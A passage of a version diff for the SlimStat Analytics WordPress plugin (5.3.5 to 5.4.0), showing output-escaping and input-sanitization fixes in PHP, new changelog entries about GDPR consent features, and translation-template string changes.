!is_array(self::$resource_titles)) {\n+            $transient             = get_transient('slimstat_resource_titles');\n+            self::$resource_titles = is_array($transient) ? $transient : [];\n+        }\n+        if (!empty(self::$resource_titles[$cache_index])) {\n             return self::$resource_titles[$cache_index];\n         }\n \n@@ -1914,7 +1954,7 @@\n \n             \u002F\u002F Encode URLs to avoid XSS attacks\n             if (self::$resource_titles[$cache_index] == $_resource) {\n-                self::$resource_titles[$cache_index] = htmlspecialchars(self::$resource_titles[$cache_index], ENT_QUOTES, 'UTF-8');\n+                self::$resource_titles[$cache_index] = esc_html(self::$resource_titles[$cache_index]);\n             }\n         } \u002F\u002F Is this a category or tag permalink?\n         else {\n@@ -1946,13 +1986,12 @@\n             if ([] !== $term_names) {\n                 self::$resource_titles[$cache_index] = esc_html( implode(',', $term_names) );\n             } else {\n-                self::$resource_titles[$cache_index] = htmlspecialchars(self::$resource_titles[$cache_index], ENT_QUOTES, 'UTF-8');\n+                self::$resource_titles[$cache_index] = esc_html(self::$resource_titles[$cache_index]);\n             }\n         }\n \n-        \u002F\u002F Save new value in cache\n+        \u002F\u002F Save new value in cache only if changed\n         set_transient('slimstat_resource_titles', self::$resource_titles, 1800);\n-\n         return self::$resource_titles[$cache_index];\n     }\n \n@@ -1987,7 +2026,7 @@\n         if (!empty($_POST['report_id'])) {\n             check_ajax_referer('meta-box-order', 'security');\n             \u002F\u002F Let's make sure the request is coming from an authorized source\n-            $report_id = $_POST['report_id'];\n+            $report_id = sanitize_key(wp_unslash($_POST['report_id']));\n         } elseif (!empty($_args['id'])) {\n             $report_id = $_args['id'];\n         }\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0: assets\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002FCHANGELOG.md \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002FCHANGELOG.md\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002FCHANGELOG.md\t2025-12-31 08:45:54.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002FCHANGELOG.md\t2026-03-08 13:29:08.000000000 +0000\n@@ -1,3 +1,60 @@\n+= 5.4.0 - 2026-03-08 =\n+\n+- Full release notes → [WordPress Real-time Analytics Plugin](https:\u002F\u002Fwp-slimstat.com\u002Fwordpress-analytics-plugin-slimstat-5-4-release-notes\u002F?utm_source=wordpress&utm_medium=changelog&utm_campaign=changelog&utm_content=5-4-0) – Slimstat 5.4 – Real-Time, Real Privacy\n+\n+Breaking\n+- Legacy internal REST\u002Ftracker APIs changed; custom add-ons using old internals must update. See the Migration Guide for details.\n+\n+New\n+- View real-time site stats directly from the WordPress admin bar — see online visitors, pageviews, and top pages at a glance.\n+- Hover over any bar in the real-time chart to see detailed analytics in an interactive tooltip.\n+- Refreshed analytics experience with a redesigned header and richer real-time visuals.\n+- Integration with Consent Management Platforms (CMPs) for GDPR compliance: WP Consent API support with configurable consent categories\n+- GDPR Compliance Mode toggle - Enable\u002Fdisable GDPR compliance requirements (default: enabled)\n+- Consent change listener that automatically resumes tracking when user grants consent via CMP.\n+- Centralized consent utility (`Consent` class) for tracking eligibility and PII operations.\n+- GDPR-compliant salted hash IP address functionality with daily salt rotation for enhanced privacy protection.\n+- IP-based rate limiting for AJAX tracking to prevent excessive requests and improve security.\n+- WordPress Privacy Policy content registration for GDPR Article 13\u002F14 compliance with built-in data export\u002Ferase support.\n+- Admin migration tools to optimize key database indexes and improve report responsiveness.\n+\n+Enhancement\n+- Optimized script enqueuing to load scripts in the footer for better page load times.\n+- Redesigned date picker with persistent date range for improved reporting UX.\n+- Improved flag icon rendering in reports with better readability checks.\n+- Optimized transient caching for remote API responses in the i18n module.\n+- Refactored code structure with new Query manager and improved caching system.\n+- Added 'Clear Cache' button functionality for better cache management.\n+- Moved Query class to src directory following PSR-4 autoloading standards.\n+- The geolocation functionality has been completely refactored and improved. It now correctly handles different providers, including DB-IP (the default), MaxMind (which requires a free license key), and Cloudflare. The underlying logic for downloading, updating, and using the geolocation database has been fixed to ensure that location data is accurately tracked and stored.\n+- Refactored GDPR architecture - consent management fully delegated to external CMPs.\n+- Smart IP handling - automatically upgrades from anonymized\u002Fhashed IP to full IP when consent is granted.\n+- Improved JavaScript consent handling with polling-based consent state monitoring.\n+- Enhanced code quality with proper namespace imports and Query builder pattern throughout.\n+- Conditional fingerprint storage - only collected when PII is allowed.\n+- Better privacy controls - anonymous tracking option prevents all PII collection.\n+- Code modernization with arrow functions and improved caching in Query class.\n+- Default data retention period set to 420 days (14 months) for GDPR compliance.\n+\n+Fix\n+- Fixed SlimStat JavaScript API not being accessible to external code (e.g., opt-out buttons, custom tracking) after bundling changes ([#121](https:\u002F\u002Fgithub.com\u002Fwp-slimstat\u002Fwp-slimstat\u002Fissues\u002F121), [#109](https:\u002F\u002Fgithub.com\u002Fwp-slimstat\u002Fwp-slimstat\u002Fissues\u002F109))\n+- Fixed FingerprintJS v4 compatibility issues that could affect visitor fingerprint tracking.\n+- Fixed date-range, timezone, and report-filter issues that caused incorrect analytics output.\n+- Fixed IP processing and geolocation edge cases for more accurate visitor reporting.\n+- Enhanced query security and cleanup for better data integrity.\n+- Optimized database indexing, caching, and AJAX handling.\n+- Legacy mode now conservatively denies PII collection when GDPR enabled and no CMP configured.\n+- Consent revocation properly deletes tracking cookie when user opts out via banner.\n+- Removed legacy cookie-based opt-in\u002Fopt-out handling for cleaner, CMP-based consent flow.\n+\n+Security\n+- Stronger SQL\u002FXSS protections, stricter nonce validation, timing-safe HMAC checks, and improved IP hashing\u002Fanonymization.\n+\n+> **For add-on developers**: This release includes breaking API changes. Add-ons using `RESTService`, direct property access to `$data_js`\u002F`$stat`, or calling `wp_slimstat::slimtrack()` directly must be updated.\n+\n+= 5.3.6 =\n+* Security: Hardened output escaping in reports\n+\n = 5.3.5 - 2025-12-31 =\n * Security: Hardened plugin security\n \n@@ -18,8 +75,13 @@\n - **Enhancement**: Enhanced responsive design for the \"Access Log\" report.\n - **Enhancement**: Improved tracking logic to prevent duplicate pageviews and events.\n - **Enhancement**: Enhanced interaction tracking and heartbeat finalization.\n+- **New**: Real-time data visualization with live analytics dashboard for instant insights.\n+- **New**: GDPR-compliant salted hash IP address functionality for enhanced privacy protection.\n+- **New**: IP-based rate limiting for AJAX tracking to prevent excessive requests and improve security.\n \n = 5.3.0 - 2025-08-25 =\n+- Full release notes → [WordPress Real-time Analytics Plugin](https:\u002F\u002Fwp-slimstat.com\u002Fwordpress-analytics-plugin-slimstat-5-3-release-notes\u002F?utm_source=wordpress&utm_medium=changelog&utm_campaign=changelog&utm_content=5-3-0) – Slimstat 5.3 – Smarter Charts, Better Tracking\n+\n - **New**: Tracker type options (REST API + Ad-blocker bypass) for improved tracking flexibility.\n - **New**: Support for WordPress date format setting in charts.\n - **New**: Hourly, daily, weekly, monthly, and yearly chart granularities for deeper insights.\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0: .coderabbit.yaml\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Flanguages: i18n-v3.php\nOnly in \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Flanguages: i18n-wordpressorg-v3.php\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Flanguages\u002Fwp-slimstat.pot \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Flanguages\u002Fwp-slimstat.pot\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.3.5\u002Flanguages\u002Fwp-slimstat.pot\t2025-12-31 08:45:54.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fwp-slimstat\u002F5.4.0\u002Flanguages\u002Fwp-slimstat.pot\t2026-03-08 13:29:08.000000000 +0000\n@@ -1,21 +1,22 @@\n-# Copyright (C) 2025 Jason Crouse, VeronaLabs\n+# Copyright (C) 2026 Jason Crouse, VeronaLabs\n # This file is distributed under the GPL-2.0+.\n msgid \"\"\n msgstr \"\"\n-\"Project-Id-Version: SlimStat Analytics 5.3.5\\n\"\n+\"Project-Id-Version: SlimStat Analytics 5.4.0\\n\"\n \"Report-Msgid-Bugs-To: https:\u002F\u002Fwordpress.org\u002Fsupport\u002Fplugin\u002Fwp-slimstat\\n\"\n \"Last-Translator: FULL NAME \u003CEMAIL@ADDRESS>\\n\"\n \"Language-Team: LANGUAGE \u003CLL@li.org>\\n\"\n \"MIME-Version: 1.0\\n\"\n \"Content-Type: text\u002Fplain; charset=UTF-8\\n\"\n \"Content-Transfer-Encoding: 8bit\\n\"\n-\"POT-Creation-Date: 2025-12-31T08:38:08+00:00\\n\"\n+\"POT-Creation-Date: 2026-03-08T10:42:32+00:00\\n\"\n \"PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE\\n\"\n \"X-Generator: WP-CLI 2.12.0\\n\"\n \"X-Domain: wp-slimstat\\n\"\n \n #. Plugin Name of the plugin\n #: wp-slimstat.php\n+#: wp-slimstat.php:1233\n msgid \"SlimStat Analytics\"\n msgstr \"\"\n \n@@ -36,7 +37,7 @@\n msgstr \"\"\n \n #: admin\u002Fconfig\u002Findex.php:21\n-#: admin\u002Fconfig\u002Findex.php:106\n+#: admin\u002Fconfig\u002Findex.php:95\n msgid \"Tracker\"\n msgstr \"\"\n \n@@ -129,16 +130,16 @@\n msgstr \"\"\n \n #: admin\u002Fconfig\u002Findex.php:81\n-#: admin\u002Fview\u002Fwp-slimstat-db.php:107\n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1115\n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1121\n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1127\n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1133\n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1139\n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1145\n-#: admin\u002Fview\u002Fwp-slimstat-db.php:1151\n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1345\n-#: admin\u002Fview\u002Fwp-slimstat-reports.php:1348\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:110\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1366\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1372\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1378\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1384\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1390\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1396\n+#: admin\u002Fview\u002Fwp-slimstat-db.php:1402\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1414\n+#: admin\u002Fview\u002Fwp-slimstat-reports.php:1417\n msgid \"Hits\"\n msgstr \"\"\n \n@@ -150,1323 +151,1604 @@\n msgid \"Customize the information displayed when activating the option here above: \u003Cstrong>hits\u003C\u002Fstrong> refers to the total amount of pageviews, regardless of the user; \u003Cstrong>(unique) IPs\u003C\u002Fstrong> displays the amount of distinct IP addresses tracked in the given time range.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:88\n-msgid \"Database\"\n+#: admin\u002Fconfig\u002Findex.php:87\n+msgid \"Slimstat Notifications\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:92\n-msgid \"Data Retention\"\n+#: admin\u002Fconfig\u002Findex.php:89\n+msgid \"Display important notifications inside the plugin, such as new version releases, feature updates, news, and special offers.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:94\n-#: admin\u002Fconfig\u002Findex.php:258\n-#: admin\u002Fview\u002Fwp-slimstat-db.php:98\n-msgid \"days\"\n+#: admin\u002Fconfig\u002Findex.php:99\n+#: wp-slimstat.php:1273\n+msgid \"Consent Management\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:95\n-msgid \"Enable a daily cron job to erase or archive (see option here below) pageviews older than the number of days specified here. You can enter \u003Cstrong>0\u003C\u002Fstrong> (the number zero) if you want to disable this feature.\"\n+#: admin\u002Fconfig\u002Findex.php:103\n+msgid \"GDPR Compliance Mode\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:98\n-msgid \"Archive Records\"\n+#: admin\u002Fconfig\u002Findex.php:105\n+msgid \"\u003Cstrong>GDPR Compliance:\u003C\u002Fstrong> When enabled, SlimStat requires user consent before tracking (except in Anonymous Tracking mode). When disabled, tracking operates normally without consent checks.\u003Cbr\u002F>\u003Cbr\u002F>\u003Cstrong>Enabled:\u003C\u002Fstrong> (Recommended for EU\u002FEEA) Tracking requires consent unless Anonymous Tracking mode is active. This ensures GDPR compliance.\u003Cbr\u002F>\u003Cstrong>Disabled:\u003C\u002Fstrong> Normal tracking without consent checks. Use this only if you are not subject to GDPR regulations (e.g., non-EU websites with no EU visitors).\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:100\n-msgid \"If server space is not an issue for you, use this option to archive pageviews to a separate table, instead of deleting them. This will increase performance by reducing the amount of data to process in the main table, while allowing you to access your data at a later time, if needed. Please note that the archive table (\u003Cstrong>wp_slim_stats_archive\u003C\u002Fstrong>) will be \u003Cstrong>DELETED\u003C\u002Fstrong> along with all the other tables, when you uninstall Slimstat. Make sure to backup your data before you proceed.\"\n+#: admin\u002Fconfig\u002Findex.php:108\n+msgid \"Consent Plugin Integration\"\n msgstr \"\"\n \n #: admin\u002Fconfig\u002Findex.php:110\n-msgid \"Data Protection\"\n+msgid \"\u003Cstrong>GDPR Compliance:\u003C\u002Fstrong> Integrate with a Consent Management Platform (CMP) to ensure tracking only occurs with user consent.\u003Cbr\u002F>\u003Cbr\u002F>\u003Cstrong>SlimStat Consent Banner:\u003C\u002Fstrong> (Recommended) Use SlimStat's built-in banner with customizable messaging and server-side consent tracking.\u003Cbr\u002F>\u003Cstrong>Via WP Consent API:\u003C\u002Fstrong> Integrates with CMPs supporting WordPress Consent API (Complianz, CookieYes, etc.). Server-side consent checking available for both modes.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:114\n-msgid \"Privacy Mode\"\n+#: admin\u002Fconfig\u002Findex.php:112\n+msgid \"SlimStat Consent Banner (Recommended)\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:116\n-msgid \"Mask your visitors' IP addresses (by converting the last number into a zero) and do not track their browser fingerprint, to comply with European privacy laws.\"\n+#: admin\u002Fconfig\u002Findex.php:113\n+msgid \"Via WP Consent API\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:119\n-msgid \"Set Cookie\"\n+#: admin\u002Fconfig\u002Findex.php:122\n+msgid \"SlimStat Consent Banner\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:121\n-msgid \"Disable this option if, for legal or security reasons, you do not want Slimstat to assign a \u003Ca href=\\\"https:\u002F\u002Fen.wikipedia.org\u002Fwiki\u002FHTTP_cookie\\\" target=\\\"_blank\\\">cookie\u003C\u002Fa> to your visitors. Please note that by deactivating this feature, Slimstat will not be able to identify returning visitors as such.\"\n+#: admin\u002Fconfig\u002Findex.php:131\n+msgid \"Opt-out Cookies\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:124\n-msgid \"Allow Opt-out\"\n+#: admin\u002Fconfig\u002Findex.php:133\n+msgid \"If you are already using another tool to monitor which users opt-out of tracking, and assuming that this tool sets its own cookie to remember their selection, you can enter the cookie names and values in this field to let Slimstat comply with their choice. Please use the following format: \u003Ccode>cookie_name=value\u003C\u002Fcode>. Slimstat will track any visitors who either don't send a cookie with that name, or send a cookie whose value \u003Cstrong>does not CONTAIN\u003C\u002Fstrong> the string you specified. If your tool uses structured values like JSON or similar encodings, find the substring related to tracking and enter that as the value here below. For example, \u003Ca href='https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fsmart-cookie-kit\u002F' target='_blank'>Smart Cookie Kit\u003C\u002Fa> uses something like \u003Ccode>{\\\"settings\\\":{\\\"technical\\\":true,\\\"slimstat\\\":false,\\\"profiling\\\":false},\\\"ver\\\":\\\"2.0.0\\\"}\u003C\u002Fcode>, so your pair should look like: \u003Ccode>CookiePreferences-your.website.here=\\\"slimstat\\\":false\u003C\u002Fcode>. Separate multiple pairs with commas.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:126\n-msgid \"The European \u003Ca href='https:\u002F\u002Fen.wikipedia.org\u002Fwiki\u002FGeneral_Data_Protection_Regulation' target='_blank'>General Data Protection Regulation (GDPR)\u003C\u002Fa> requires website owners to provide a way for their visitors to opt-out of tracking. By enabling this option, the message here below will be displayed to all users who don't have the corresponding cookie set.\"\n+#: admin\u002Fconfig\u002Findex.php:141\n+msgid \"Opt-in Cookies\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:129\n-msgid \"Opt-out Cookies\"\n+#: admin\u002Fconfig\u002Findex.php:143\n+msgid \"Similarly to the option here above, you can configure Slimstat to work with an opt-in mechanism. Please use the following format: \u003Ccode>cookie_name=value\u003C\u002Fcode>. Slimstat will only track visitors who send a cookie whose value \u003Cstrong>CONTAINS\u003C\u002Fstrong> the string you specified. Separate multiple pairs with commas.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:131\n-msgid \"If you are already using another tool to monitor which users opt-out of tracking, and assuming that this tool sets its own cookie to remember their selection, you can enter the cookie names and values in this field to let Slimstat comply with their choice. Please use the following format: \u003Ccode>cookie_name=value\u003C\u002Fcode>. Slimstat will track any visitors who either don't send a cookie with that name, or send a cookie whose value \u003Cstrong>does not CONTAIN\u003C\u002Fstrong> the string you specified. If your tool uses structured values like JSON or similar encodings, find the substring related to tracking and enter that as the value here below. For example, \u003Ca href='https:\u002F\u002Fwordpress.org\u002Fplugins\u002Fsmart-cookie-kit\u002F' target='_blank'>Smart Cookie Kit\u003C\u002Fa> uses something like \u003Ccode>{\\\"settings\\\":{\\\"technical\\\":true,\\\"slimstat\\\":false,\\\"profiling\\\":false},\\\"ver\\\":\\\"2.0.0\\\"}\u003C\u002Fcode>, so your pair should look like: \u003Ccode>CookiePreferences-your.website.here=\\\"slimstat\\\":false\u003C\u002Fcode>. Separate multiple pairs with commas.\"\n+#: admin\u002Fconfig\u002Findex.php:151\n+msgid \"Consent Banner Message\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:134\n-msgid \"Opt-in Cookies\"\n+#: admin\u002Fconfig\u002Findex.php:154\n+msgid \"Content displayed inside the SlimStat consent banner. Basic HTML (p, a, strong, em) is allowed. Use the editor above to format your message.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:136\n-msgid \"Similarly to the option here above, you can configure Slimstat to work with an opt-in mechanism. Please use the following format: \u003Ccode>cookie_name=value\u003C\u002Fcode>. Slimstat will only track visitors who send a cookie whose value \u003Cstrong>CONTAINS\u003C\u002Fstrong> the string you specified. Separate multiple pairs with commas.\"\n+#: admin\u002Fconfig\u002Findex.php:162\n+msgid \"Accept Button Label\"\n+msgstr \"\"\n+\n+#: admin\u002Fconfig\u002Findex.php:166\n+msgid \"Leave empty to use the default \\\"Accept\\\" text.\"\n+msgstr \"\"\n+\n+#: admin\u002Fconfig\u002Findex.php:174\n+msgid \"Decline Button Label\"\n+msgstr \"\"\n+\n+#: admin\u002Fconfig\u002Findex.php:178\n+msgid \"Leave empty to use the default \\\"Deny\\\" text.\"\n+msgstr \"\"\n+\n+#: admin\u002Fconfig\u002Findex.php:186\n+msgid \"Banner Theme Mode\"\n+msgstr \"\"\n+\n+#: admin\u002Fconfig\u002Findex.php:188\n+msgid \"Choose the theme mode for the GDPR consent banner. \u003Cstrong>Light\u003C\u002Fstrong> uses light colors, \u003Cstrong>Dark\u003C\u002Fstrong> uses dark colors, and \u003Cstrong>Auto\u003C\u002Fstrong> follows the user's system preference.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:139\n-msgid \"Opt-out Message\"\n+#: admin\u002Fconfig\u002Findex.php:190\n+msgid \"Light Mode\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:144\n-msgid \"Customize the message displayed to your visitors here below. Match your website styles and layout by adding the appropriate HTML markup to your message.\"\n+#: admin\u002Fconfig\u002Findex.php:191\n+msgid \"Dark Mode\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:149\n+#: admin\u002Fconfig\u002Findex.php:192\n+msgid \"Auto (Follow System)\"\n+msgstr \"\"\n+\n+#: admin\u002Fconfig\u002Findex.php:221\n+msgid \"Data Protection\"\n+msgstr \"\"\n+\n+#: admin\u002Fconfig\u002Findex.php:245\n+msgid \"Anonymize IP Addresses\"\n+msgstr \"\"\n+\n+#: admin\u002Fconfig\u002Findex.php:247\n+msgid \"\u003Cstrong>GDPR Privacy Protection:\u003C\u002Fstrong> Masks IP addresses before storage (IPv4: 192.168.1.x → 192.168.1.0 \u002F IPv6: last 80 bits removed).\u003Cbr\u002F>\u003Cbr\u002F>Anonymized IPs cannot identify individual users but still provide useful geographic and network data. \u003Cstrong>Recommended\u003C\u002Fstrong> for GDPR compliance when not using IP hashing.\"\n+msgstr \"\"\n+\n+#: admin\u002Fconfig\u002Findex.php:250\n+msgid \"Hash IP Addresses\"\n+msgstr \"\"\n+\n+#: admin\u002Fconfig\u002Findex.php:252\n+msgid \"\u003Cstrong>GDPR-Compliant Visitor Counting:\u003C\u002Fstrong> Creates one-way hash from IP + User Agent + daily salt. Hash changes daily, preventing long-term tracking.\u003Cbr\u002F>\u003Cbr\u002F>\u003Cstrong>Benefits:\u003C\u002Fstrong> Count unique visitors without storing real IPs or using cookies. Original IP cannot be recovered from hash. \u003Cstrong>Recommended\u003C\u002Fstrong> for GDPR compliance.\"\n+msgstr \"\"\n+\n+#: admin\u002Fconfig\u002Findex.php:255\n+msgid \"Set Tracking Cookie\"\n+msgstr \"\"\n+\n+#: admin\u002Fconfig\u002Findex.php:257\n+msgid \"\u003Cstrong>PII Warning:\u003C\u002Fstrong> Cookies are Personally Identifiable Information under GDPR. Enabling this option requires user consent.\u003Cbr\u002F>\u003Cbr\u002F>\u003Cstrong>When Disabled:\u003C\u002Fstrong> Cookie-less tracking (more privacy, less accurate return visitor detection)\u003Cbr\u002F>\u003Cstrong>When Enabled:\u003C\u002Fstrong> Sets a cookie to track returning visitors (better accuracy, requires consent)\u003Cbr\u002F>\u003Cbr\u002F>Cookies automatically respect consent settings and use Secure, HttpOnly, and SameSite flags for security.\"\n+msgstr \"\"\n+\n+#: admin\u002Fconfig\u002Findex.php:262\n msgid \"Link Tracking\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:153\n+#: admin\u002Fconfig\u002Findex.php:266\n msgid \"Same-Domain Referrers\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:155\n+#: admin\u002Fconfig\u002Findex.php:268\n msgid \"By default, when a referrer's domain's pageview is the same as the current site, that information is not saved in the database. However, if you are running a multisite network with subfolders, you might need to enable this option to track same-domain referrers from one site to another, as they are technically 'independent' websites.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:158\n+#: admin\u002Fconfig\u002Findex.php:271\n msgid \"Downloads\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:160\n+#: admin\u002Fconfig\u002Findex.php:273\n msgid \"List all the file extensions that you want to be identified as Downloads. Please note that links pointing to external resources (i.e. PDFs on an external website) will be tracked as Downloads and not Outbound Links, if they match one of the extensions listed here below.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:165\n+#: admin\u002Fconfig\u002Findex.php:278\n+#: admin\u002Fconfig\u002Findex.php:366\n msgid \"Third-party Libraries\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:169\n-msgid \"GeoIP Database Source\"\n+#: admin\u002Fconfig\u002Findex.php:282\n+msgid \"Geolocation Provider\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:170\n-msgid \"An error occurred while updating the GeoIP database.\"\n+#: admin\u002Fconfig\u002Findex.php:285\n+msgid \"MaxMind GeoLite2 (recommended)\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:170\n-msgid \"Update Database\"\n+#: admin\u002Fconfig\u002Findex.php:286\n+msgid \"DB-IP City Lite (free)\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:170\n-msgid \"Check Database\"\n+#: admin\u002Fconfig\u002Findex.php:287\n+msgid \"Cloudflare Header\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:173\n-msgid \"Disable\"\n+#: admin\u002Fconfig\u002Findex.php:289\n+msgid \"\u003Cstrong>Choose how Slimstat resolves visitor locations:\u003C\u002Fstrong>\u003Cbr \u002F>\u003Cstrong>DB-IP City Lite\u003C\u002Fstrong> – Free, no license required. Slimstat downloads a local database and updates it automatically in the background after you save settings. You can also run the update manually using the button below. Works for arbitrary IPs in reports.\u003Cbr \u002F>\u003Cstrong>MaxMind GeoLite2\u003C\u002Fstrong> – Requires a free MaxMind license key. City vs Country precision affects database size and download time. Updates run in the background after saving; you can also update manually. If PHP Phar is disabled on your server, please upload the .mmdb file manually to wp-content\u002Fuploads\u002Fwp-slimstat\u002F.\u003Cbr \u002F>\u003Cstrong>Cloudflare Header\u003C\u002Fstrong> – No database needed. Slimstat reads the HTTP_CF_IPCOUNTRY header set by Cloudflare for the current request only. It won't resolve arbitrary test IPs (like 8.8.8.8). Make sure \\\"IP Geolocation\\\" is enabled in your Cloudflare dashboard and your site is actually proxied through Cloudflare.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:174\n-msgid \"Use the JsDelivr\"\n+#: admin\u002Fconfig\u002Findex.php:292\n+#: admin\u002Fconfig\u002Findex.php:380\n+msgid \"MaxMind License Key\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:175\n-msgid \"Use the MaxMind server with your own license key\"\n+#: admin\u002Fconfig\u002Findex.php:294\n+msgid \"Enter your MaxMind license key to enable automatic downloads of the GeoLite2 database. The license key should be 16-40 characters containing only letters, numbers, and underscores. Required only if you select MaxMind as the provider. \u003Cstrong>Important:\u003C\u002Fstrong> If the PHP Phar extension is not available on your server, automatic extraction will fail—upload the .mmdb file manually to wp-content\u002Fuploads\u002Fwp-slimstat\u002F.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:177\n-msgid \"Choose a service to update the GeoIP database to ensure your geographic information is accurate and up-to-date.\"\n+#: admin\u002Fconfig\u002Findex.php:297\n+msgid \"Geolocation Database\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:177\n-msgid \"\u003Cb>Note: \u003C\u002Fb>If the database file is missing, it will be downloaded when you save the settings.\"\n+#: admin\u002Fconfig\u002Findex.php:298\n+msgid \"An error occurred while updating the GeoIP database.\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:180\n-msgid \"MaxMind License Key\"\n+#: admin\u002Fconfig\u002Findex.php:298\n+msgid \"Update Database\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:182\n-msgid \"To be able to automatically download and update the MaxMind GeoLite2 database, you must sign up on \u003Ca href=\\\"https:\u002F\u002Fdev.maxmind.com\u002Fgeoip\u002Fgeoip2\u002Fgeolite2\u002F\\\" target=\\\"_blank\\\">MaxMind GeoLite2\u003C\u002Fa> and create a license key. Then enter your license key in this field. Disable- and re-enable MaxMind Geolocation above to activate the license key. Note: It takes a couple of minutes after you created the license key to get it activated on the MaxMind website.\"\n+#: admin\u002Fconfig\u002Findex.php:298\n+msgid \"Check Database\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:185\n+#: admin\u002Fconfig\u002Findex.php:300\n+msgid \"Download or refresh the selected geolocation database. \u003Cstrong>DB-IP\u002FMaxMind only\u003C\u002Fstrong>: \\\"Update Database\\\" runs it now; after saving settings, Slimstat also schedules a background update. \\\"Check Database\\\" verifies that the file exists and is readable. \u003Cstrong>Cloudflare\u003C\u002Fstrong>: No database is required—the header is used at request time.\"\n+msgstr \"\"\n+\n+#: admin\u002Fconfig\u002Findex.php:303\n+#: admin\u002Fconfig\u002Findex.php:385\n msgid \"Browscap Library\"\n msgstr \"\"\n \n-#: admin\u002Fconfig\u002Findex.php:187\n+#: admin\u002Fconfig\u002Findex.php:305\n+#: admin\u002Fconfig\u002Findex.php:387\n msgid \"We are contributing to the \u003Ca href='https:\u002F\u002Fbrowscap.org\u002F' target='_blank'>Browscap Capabilities Project\u003C\u002Fa>, which we use to decode your visitors' user agent string into browser name and operating system. We use an \u003Ca href='https:\u002F\u002Fgithub.com\u002Fslimstat\u002Fbrowscap-cache' target='_blank'>optimized version of their data structure\u003C\u002Fa>, for improved performance. When enabled, Slimstat uses this library in addition to the built-in heuristic function, to determine your 